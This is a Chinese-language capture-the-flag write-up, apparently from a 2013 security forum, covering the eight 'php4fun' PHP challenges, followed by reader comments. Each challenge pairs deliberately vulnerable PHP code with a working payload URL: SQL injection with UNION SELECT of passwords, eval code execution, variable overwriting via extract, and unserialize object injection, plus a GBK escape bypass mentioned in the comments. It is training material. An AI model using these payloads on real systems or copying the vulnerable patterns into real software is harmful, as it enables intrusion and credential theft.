challenge 1

php code:

#GOAL: get password from admin;
error_reporting(0);
require 'db.inc.php';

function clean($str){
    if(get_magic_quotes_gpc()){
        $str=stripslashes($str);
    }
    return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}

$row = mysql_fetch_assoc($result);

echo "Hello ".$row['name']."</br>";
echo "Your password is:".$row['pass']."</br>";

攻略:

在单引号内的mysql注入,核心就是逃脱单引号,要么生成一个(htmlentities了单引号,不太可能),要么...干掉一个。

所以:

http://php4fun.sinaapp.com/c1/index.php?username=admin\&password=%20or%201%23

challenge 2

php code:

#GOAL: gather some phpinfo();

$str=@(string)$_GET['str'];
eval('$str="'.addslashes($str).'";');

攻略:

eval('$str="'.addslashes($str).'";');这段最后成为php代码 $str="",里双引号被addslashes,但内容在双引号内可以${${这里执行代码}}

所以:

http://phpchallenges2.sinaapp.com/index.php?str=${${phpinfo()}}

challenge 3

php code:

# GOAL: dump the info for the secret id
require 'db.inc.php';

$id = @(float)$_GET['id'];

$secretId = 1;
if($id == $secretId){
    echo 'Invalid id ('.$id.').';
}
else{
    $query = 'SELECT * FROM users WHERE id = \''.$id.'\';';
    $result = mysql_query($query);
    $row = mysql_fetch_assoc($result);

    echo "id: ".$row['id']."</br>";
    echo "name:".$row['name']."</br>";
}

攻略:

主要是利用php和mysql对float数字型支持的精度不同,精度小的会忽略不能支持的位数。

所以:

http://php4fun.sinaapp.com/c3/index.php?id=1.0000000000001

challenge 4

php code:

#GOAL:get password from admin
# $yourInfo=array(
#   'id'    => 1,
#   'name'  => 'admin',
#   'pass'  => 'xxx',
#   'level' => 1
# );
require 'db.inc.php';

$_CONFIG['extraSecure']=true;

//if register globals = on, undo var overwrites
foreach(array('_GET','_POST','_REQUEST','_COOKIE') as $method){
     foreach($$method as $key=>$value){
          unset($$key);
     }
}

$kw = isset($_GET['kw']) ? trim($_GET['kw']) : die('Please enter in a search keyword.');

if($_CONFIG['extraSecure']){
     $kw=preg_replace('#[^a-z0-9_-]#i','',$kw);
}

$query = 'SELECT * FROM messages WHERE message LIKE \'%'.$kw.'%\';';

$result = mysql_query($query);
$row = mysql_fetch_assoc($result);

echo "id: ".$row['id']."</br>";
echo "message: ".$row['message']."</br>";

攻略:

这段$kw在单引号里,看起来只要能使用单引号就行,所以干掉_CONFIG['extraSecure']就ok,刚好前面画蛇添足的有可利用的变量unset(不然咋通关?),然后就是联合查询了。

所以:

http://php4fun.sinaapp.com/c4/index.php?kw='%20and%200%20union%20select%20name,pass%20from%20users%20where%20id=1%23&_CONFIG=aaa

challenge 5

php code:

# GOAL: overwrite password for admin (id=1)
#       Try to login as admin
# $yourInfo=array( //this is your user data in the db
#   'id'    => 8,
#   'name'  => 'jimbo18714',
#   'pass'  => 'MAYBECHANGED',
#   'level' => 1
# );
require 'db.inc.php';

function mres($str) {
    return mysql_real_escape_string($str);
}

$userInfo = @unserialize($_GET['userInfo']);

$query = 'SELECT * FROM users WHERE id = \''.mres($userInfo['id']).'\' AND pass = \''.mres($userInfo['pass']).'\';';

$result = mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}

$row = mysql_fetch_assoc($result);
foreach($row as $key => $value){
    $userInfo[$key] = $value;
}

$oldPass = @$_GET['oldPass'];
$newPass = @$_GET['newPass'];
if($oldPass == $userInfo['pass']){
    $userInfo['pass'] = $newPass;
    $query = 'UPDATE users SET pass = \''.mres($newPass).'\' WHERE id = \''.mres($userInfo['id']).'\';';
    mysql_query($query);
    echo 'Password Changed.';
}
else{
    echo 'Invalid old password entered.';
}

攻略:

(1) http://www.80vul.com/webzine_0x06/PSTZine_0x06_0x03.txt (站上默认显示的密码就是个提示...估计是哪位大虾顺手改的)
(2) $userInfo['pass'] = $newPass; //这句,改成1

所以:

(1) 修改jimbo18714密码为8 (2) 再次修改密码,提交时userInfo为8的序列化,newPass为1

challenge 6

php code:

#GOAL: get the secret;

class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) {
        $o->secret = "?????????????????????????????";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}

攻略:

serialize一个just4fun的对象,序列化之前先赋值给$o->enter (在本地执行是成功的,php4fun.sinaapp.com不行,代码改了?)

所以:

(1) 生成序列化的对象

class just4fun {
    var $enter;
    var $secret;
}

$a=new just4fun();
$a->enter='?????????????????????????????';
echo urlencode(serialize($a));

(2)

link?pass=O%3A8%3A%22just4fun%22%3A2%3A%7Bs%3A5%3A%22enter%22%3Bs%3A29%3A%22%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%22%3Bs%3A6%3A%22secret%22%3BN%3B%7D

challenge 7

php code:

# GOAL: get the key from $hidden_password[207]

session_start();
error_reporting(0);

function auth($password, $hidden_password) {
    $res = 0;
    if(isset($password) && $password != "") {
        if($password == $hidden_password) {
            $res = 1;
        }
    }
    $_SESSION["logged"] = $res;
    return $res;
}

function display($res){
    $aff = htmlentities($res);
    return $aff;
}


if(!isset($_SESSION["logged"]))
    $_SESSION["logged"] = 0;

$aff = "";
include("config.inc.php");

foreach($_REQUEST as $request) {
    if(is_array($request)) {
        die("Can not use Array in request!");
    }
}

$password = $_POST["password"];

if(!ini_get("register_globals")) {
    $superglobals = array($_POST, $_GET);
    if(isset($_SESSION)) {
        array_unshift($superglobals, $_SESSION);
    }
    foreach($superglobals as $superglobal) {
        extract($superglobal, 0);
    }
}

if((isset($password) && $password != "" && auth($password, $hidden_password[207]) == 1) || (is_array($_SESSION) && $_SESSION["logged"] == 1)) {
    $aff = display("$hidden_password[207]");
} else {
    $aff = display("Try again");
}
echo $aff;

攻略:

get the key from $hidden_password[207] 这句有点模糊,下面的‘所以’可以得到key(绕过REQUEST对数组的判断)

所以:

http://php4fun.sinaapp.com/c7/index.php?_SESSION[logged]=1
POST: _SESSION=1

challenge 8

php code:

#GOAL: file_get_content('sbztz.php')    : )

    class just4fun {
        public $filename;

        function __toString() {
            return @file_get_contents($this->filename);
        }
    }

    $data = stripslashes($_GET['data']);
    if (!$data) {
        die("hello from y");
    }

    $token = $data[0];
    $pass = true;

    switch ( $token ) {
        case 'a' :
        case 'O' :
        case 'b' :
        case 'i' :
        case 'd' :
            $pass = ! (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
            break;

        default:
            $pass = false;

    }

    if (!$pass) {
      die("TKS L.N.");
    }

    echo unserialize($data); 

攻略:

WordPress < 3.6.1 PHP 对象注入漏洞

php反序列unserialize的一个小特性

所以:

(1) 生成利用的data:

O%3A%2B8%3A"just4fun"%3A1%3A%7Bs%3A8%3A"filename"%3Bs%3A9%3A"sbztz.php"%3B%7D  (注意%2B)

(2)

http://php4fun.sinaapp.com/c8/index.php?data=O%3A%2B8%3A"just4fun"%3A1%3A%7Bs%3A8%3A"filename"%3Bs%3A9%3A"sbztz.php"%3B%7D

[原文地址]

相关吐槽:

瞌睡龙 | 2013/10/10 18:28 | #

嗯,第五题亮了……

园长 | 2013/10/10 18:39 | #

咦,怎么是布鲁史特的马甲吗?

疯狗 | 2013/10/10 18:41 | #

嗯,第五题亮了……

猪头子 | 2013/10/10 19:49 | #

其实第七题是要求获得config.inc.php里的key而不是输入的111111....

八折 | 2013/10/11 12:28 | #

同学,你是php4fun的作者么?

第七题是要这个结果?

key: Did You Stand Too Close To The Fire

(如果是的话我修正一下)

# GOAL: get the key from $hidden_password[207]

这句到底是要啥呐?

齐迹 | 2013/10/10 22:14 | #

长知识了!!明天研究一下第五题!

齐迹 | 2013/10/10 22:46 | #

第五题会不会考的xss呢?

ID和pass 在youyinfo里面已经有了 所以序列化一下就可以过验证。

然而mysql_real_escape_string 方法没有处理 所以newPass 可以写xss代码。第一步是有显示pass的。所以触发xss

不知道作者是不是这个意图!

齐迹 | 2013/10/10 22:53 | #

没注意看注释。。。跑偏了!洗洗睡明天搞!

laterain | 2013/10/11 12:47 | #

第五题 是关于php字符串数组处理的一个小特性,当时我也是问了TPCS才知道怎么做的

80vul期刊:

http://www.80vul.com/webzine_0x06/PSTZine_0x06_0x03.txt

TPCS写的分析:

https://forum.90sec.org/thread-3482-1-1.html

Ray | 2013/10/11 15:03 | #

nice job.

瞌睡龙 | 2013/10/11 15:50 | #

八折,在指点下,第五题已经更新搞定,哈哈哈……

冰雪风谷[NNU | 2013/10/11 13:08 | #

challenge 5,

如果是gbk版本, 可以通过,%bf'来bypass mysql_real_escape_string, 然后通过union select 指定返回的结果,从而绕过限制.

不过,没试成功.

擦.